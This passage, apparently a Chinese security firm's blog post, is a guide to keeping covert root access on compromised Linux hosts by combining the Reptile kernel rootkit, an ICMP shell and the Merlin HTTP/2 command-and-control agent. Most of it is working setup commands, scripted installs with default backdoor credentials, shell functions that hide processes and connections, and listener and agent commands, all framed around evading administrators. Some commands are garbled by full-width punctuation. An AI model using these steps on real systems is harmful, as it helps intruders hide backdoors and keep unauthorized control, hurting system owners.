在後滲透過程中,如何維持住現有的root許可權是非常重要的是一件事,因此需要一套好的工具。
小編悄悄說:小編最近有了一個新願望~那就是希望大家能夠來大型攻防演練技術交流群裡面 van 耍~ 聽說裡面的人都可有趣了~(霧 ~
設計思路
現在常用的 linux 維持許可權的方法大多用 crontab 和開機自啟動,同時使用的大多是msf 或者其它的 tcp 連線來反彈 shell ,這種做法比較容易被管理員發現。所以我們想有一個非 tcp 連線、流量不容易被懷疑的後門,並且在大量的 shell 的場景下,可以管理 shell ,因此採用 reptile+ishell+merlin 的組合。
Reptile
Reptile 是種 LKM rootkit,因此具有很好的隱藏性和強大的功能。
LKM的全稱為 Loadable Kernel Modules,中文名為可載入核心模組,主要作用是用來擴充套件 linux 的核心功能。LKM的優點在於可以動態地載入到記憶體中,無須重新編譯核心。由於 LKM 具有這樣的特點,所以它經常被用於一些裝置的驅動程式,例如音效卡,網絡卡等等。當然因為其優點,也經常被駭客用於 rootkit 技術當中。
Reptile 具有的功能
Give root to unprivileged users
Hide files and directories
Hide processes
Hide himself
Hide TCP/UDP connections
Hidden boot persistence
File content tampering
Some obfuscation techniques
ICMP/UDP/TCP port-knocking backdoor
Full TTY/PTY shell with file transfer
Client to handle Reptile Shell
Shell connect back each X times (not default)
Reptile 用的是傳統的反彈 shell ,就算加了一些混淆,流量也十分明顯,所以我們不打算用 Reptile 的反彈功能,而採用了前五個功能。同時 reptile 還有很強的相容性,作者在下面的系統上都測試過了
Debian 9
: 4。9。0-8-amd64
Debian 10
: 4。19。0-8-amd64
Ubuntu 18.04.1 LTS
: 4。15。0-38-generic
Kali Linux
: 4。18。0-kali2-amd64
Centos 6.10
: 2。6。32-754。6。3。el6。x86_64
Centos 7
: 3。10。0-862。3。2。el7。x86_64
Centos 8
: 4。18。0-147。5。1。el8_1。x86_64
而我們在
ubuntu系:4。15。0-58-generic
centos系: 3。10。0-1062
也都測試過,並且在一些常見的低於上面的核心版本都可以正常使用。
安裝
reptile的安裝比較簡單,只需要安裝一些依賴就可以直接安裝
apt-get install vim gcc make g++ unzip -y
apt-get -y install linux-headers-$(uname -r)
安裝reptile
cd Reptile-master
chmod +x 。/setup。sh
。/setup。sh install
安裝reptile會出現幾個選項
Hide name (will be used to hide dirs/files) (default: reptile): 會被隱藏的檔案或檔名
Auth token to magic packets (default: hax0r):連線後門時的認證
tokenBackdoor password (default: s3cr3t):後門密碼
Tag name that hide file contents (default: reptile):標籤名,在該標籤中的內容都會被隱藏,感覺很雞肋,沒啥用,因為執行指令碼時也不會被識別, 在下面有標籤樣例
Source port of magic packets (default: 666): 源埠預設即可
Would you like to config reverse shell each X time? (y/n) (default: n): 是否每隔一段時間彈 shell ,這個功能很強,隱藏+開機自啟動,如果對方防範意識不高,可以使用這個。而且 reptile 的反彈 shell 管理和 msf 類似
Token: hax0rBackdoor password: s3cr3tSRC port: 666
TAGs to hide file contents:
#
content to be hidden#
下面貼一下ubuntu和centos的自動化指令碼
# reptile 2。0
$kernel=`uname -r`
# centos
yum -y install perl vim gcc make g++ unzip
# 由於Cenots核心管理不便,所以使用下載對應版本的kernel-devel到本地
yum -y localinstall kernel-devel-“$kernal”。rpm
cd Reptile-master/ && chmod +x 。/setup。sh
。/setup。sh install < reptile hax0r s3cr3t reptile 666 n N EOF # ubuntu apt-get install vim gcc make g++ unzip -y apt-get -y install linux-headers-$(uname -r) cd Reptile-master/ && chmod +x 。/setup。sh 。/setup。sh install < reptile hax0r s3cr3t reptile 666 n N EOF 用法 普通使用者提權 $ su coco $ whoami coco $ /reptile/reptile_cmd root You got super powers! $ whoami root 隱藏檔案和目錄 # 檔名中帶reptile的都會被隱藏 $ mkdir reptile_dir $ mkdir reptile_file $ ls -l total 0 $ find / -name reptile_dir $ find / -name reptile_file # 由於reptile的安裝目錄和命令都帶有reptile字元,所以reptile本身就是隱藏的 隱藏程序 $ nohup ping 114。114。114。114 & [1] 2571 nohup: ignoring input and appending output to ‘nohup。out’ $ ps -ef | grep ping | grep -v grep root 2571 2015 0 06:41 pts/1 00:00:00 ping 114。114。114。114 $ /reptile/reptile_cmd hide 2571 Success! $ ps -ef | grep ping | grep -v grep $ 隱藏 TCP/UDP 連線 # 所有跟設定的IP的TCP/UDP連線都會被隱藏 $ netstat | grep 192。168 tcp 0 0 localhost。localdoma:ssh 192。168。159。1:35076 ESTABLISHED tcp 0 0 localhost。localdoma:ssh 192。168。159。1:38659 ESTABLISHED tcp 0 0 localhost。localdoma:ssh 192。168。159。1:38653 ESTABLISHED $ /reptile/reptile_cmd tcp 192。168。159。1 4444 hide Success! $ netstat | grep 192。168 $ 其它用法可參考wiki 我們可以把這些包裝成函式寫成指令碼,可以提高使用效率 # this can hide hide the pid function hide_process { pid=$1 if [ -z “$pid” ]; then read -p “please input the pid you want to hide:” pid if [ -z “$pid” ]; then echo “Invalid pid” usage exit 0 fi fi /reptile/reptile_cmd hide $pid } # can hide the connect by the ip function hide_connect { $type=$2 $ip=$3 if [ -z “$ip” ]; then read -p “please input the ip you want to hide:” pid if [ -z “$ip” ]; then echo “Invalid ip” usage exit 0 fi fi /reptile/reptile_cmd $type $ip 4444 hide } 透過這些功能配合其它工具的使用,可以達到來無影,去無蹤的效果。 ICMP SHELL ICMP Shell(ISH)是類似於 telnet 的協議。它允許使用者連線到遠端主機並僅使用 ICMP開啟和傳送資料就可以開啟 shell 。ICMP Shell是用C語言編寫的,用於UNIX環境。 ICMP 雖然不是新技術,但是 ICMP 具有很好的隱蔽性,結合 reptile 可以隱藏 pid,達到我們想要隱藏後門的效果。 安裝 cd ISHELL-v0。2 && make linux 使用 服務端(靶機) 先來看看 ishd 的用法 # 。/ishd -h ICMP Shell v0。2 (server) - by: Peter Kieltyka usage: 。/ishd [options] options: -h Display this screen -d Run server in debug mode (debug模式) -i -t -p example: 。/ishd -i 65535 -t 0 -p 1024 客戶端(攻擊機) ish 用法和 ishd 一樣,只不過需要加個目標 ip 。/ish -i 12345 -t 0 -p 1024 $ip Merlin Merlin是使用 Golang 編寫的跨平臺的 HTTP / 2控制伺服器和代理。 與 ish 相反,HTTP/2 是新技術且還沒廣泛使用,並且 Merlin 在靶機上安裝的客戶端,並不是一直髮起連線,而是間隔的,所以也可以達到一定的隱蔽性,同時 Merlin還提供了管理 shell 的功能。 安裝 apt-get -y install p7zip-full # 客戶端 wget https://github。com/Ne0nd0g/merlin/releases/download/v0。8。0/merlinAgent-Linux-x64-v0。8。0。BETA。7z 7z x merlinAgent-Linux-x64-v0。1。4。7z -pmerlin # 服務端 wget https://github。com/Ne0nd0g/merlin/releases/download/v0。8。0/merlinServer-Linux-x64-v0。8。0。BETA。7z 7z x merlinServer-Linux-x64-v0。1。4。7z -pmerlin 使用 # 服務端 可以加上-debug檢視詳細資訊 。/merlinServer-Linux-x64 -p 443 # 客戶端 。/merlinAgent-Linux-x64 -url https://127。0。0。1:443 具體使用可以檢視 此影片 比較詳細 總結 在維持許可權的路上任重而道遠,圍繞隱蔽性做文章,因此有個好的rootkit是十分重要的。而在後門中,圍繞的重點要麼是不為人注意的協議,要麼是較新且沒有廣泛使用的協議。而當這兩者組合起來,就能做到很好的維權。首先,reptile 隱藏了 Merlin 和 ish 的 pid 及 tcp 連線,普通管理員無法在系統裡察覺到異常,而如果在交換機或者路由器檢視,也是正常的 https 流量以及正常的 https 埠。除此之外,就算封了 Merlin 的 ip 和埠,還有 tsh作為備用,不至於一次就失去了許可權。 當然,對於 linux 維持許可權的方法不止這些,還需要探索更多的 linux 維持許可權的方法,這樣才能更好的維持住許可權。現在的工具集也還有一些不足,比如更好的隱藏開機自啟動,需要進行深入的探索。 星闌科技微信公眾號 北京星闌科技有限公司(簡稱星闌科技)是一家以安全技術為核心、AI技術為驅動的網路安全科技公司,致力於提供高階攻防服務和智慧化網路安全解決方案,以應對政府、企業所面臨的日益嚴峻的網路安全威脅,讓網路空間更加安全與智慧。 目前,星闌科技提供攻防對抗、APT防禦、高階滲透等安全服務,為客戶全面梳理威脅矩陣、進行安全賦能。產品包括攻擊誘捕系統、郵件攻擊一體化系統、基於前沿的圖神經網路的智慧邊界防護引擎以及AI自動化漏洞挖掘系統,能全面提升客戶的安全防護能力並有效降低安全運維成本。 相關內容: